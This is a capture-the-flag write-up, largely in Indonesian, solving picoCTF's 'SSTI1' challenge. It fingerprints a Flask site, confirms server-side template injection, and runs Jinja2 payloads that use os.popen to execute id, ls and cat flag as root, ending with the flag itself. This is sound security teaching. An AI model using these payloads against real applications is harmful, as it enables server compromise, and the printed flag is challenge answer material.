

AUTHOR: VENAX

Description

I made a cool website where you can announce whatever you want! Try it out!

Additional details will be available after launching your challenge instance.

This challenge launches an instance on demand.

Its current status is:

NOT_RUNNING

Launch Instance

41,999 users solved

Hints ?

1

95%

Liked

Submit Flag

Diberikan sebuah soal SSTI1 dengan Hint yaitu Server Side Template Injection. Kita masuk ke dalam url yang diarahkan.

Home

I built a cool website that lets you announce whatever you want!*

What do you want to announce: Ok

Terdapat tampilan sederhana dengan 1 input. Kita coba buka referensi SSTI Payload pada link berikut :

<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection>

Wappalyzer

TECHNOLOGIES MORE INFO Export

Web frameworks

Flask 3.0.3

Programming languages

Python 3.8.10

Web servers



Flask 3.0.3

Melalui ekstensi Wappalyzer di chrome, kita bisa melihat teknologi yang digunakan oleh URL yang diberikan yang menunjukkan penggunaan web framework berupa flask dan bahasa pemrogramman Python.

Jika kita lihat referensi link SSTI di atas, kita akan melihat seperti ini :

Common tags to test for SSTI with code evaluation:

```
 {{ ... }}  
 ${ ... }  
 #${ ... }  
 <%= ... %>  
 { ... }  
 {{= ... }}  
 {= ... }  
 \n= ... \n  
 *{ ... }  
 @{ ... }  
 @( ... )
```

Rendered SSTI can be checked by using mathematical expressions inside the tags:

```
 7 * 7
```

Ini adalah common tags untuk test SSTI. Kita bisa coba pakai `{{9*9}}` untuk dimasukkan ke dalam form web page soal.

81

Dan ternyata dieksekusi oleh server menghasilkan angka 81. Hal ini menunjukkan bahwa memang benar teknologi yang digunakan adalah bahasa python. Jika kita lihat lagi pada referensi SSTI, kita akan melihat :

Common template expressions:

- `{{7*7}}` for Jinja2 (Python).
- `#{{7*7}}` for Thymeleaf (Java).



Jadi kita memutuskan untuk mencari Jinja2 Payload di browser dan mendapatkan link berikut :

<https://github.com/dgtlmoon/changedetection.io/security/advisories/GHSA-4r7v-whpg-8rx3>

Ketika kita scroll, kita menemukan payload berupa :

```
 {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }} 
```

lalu kita coba masukkan ke dalam form dan menghasilkan output :

**uid=0(root)
gid=0(root)
groups=0(root)**

Dan benar, payload tersebut mengeluarkan output seperti di atas, kami coba buka lagi dengan referensi lain seperti :

```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read() }}
```

dan menemukan output berikut :

**__pycache__
app.py flag
requirements.txt**

Kita bisa lihat terdapat 3 file di dalamnya. dan kamu curiga pada file flag lalu memutuskan untuk membukanya dengan flag cat.

```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat flag').read() }}
```

dan menghasilkan output flag berikut :

**picoCTF{s4r
v3r_s1d3_t3
mp14t3_1nj
3ct10n5_4r3
_c001_bcf73
_b04}**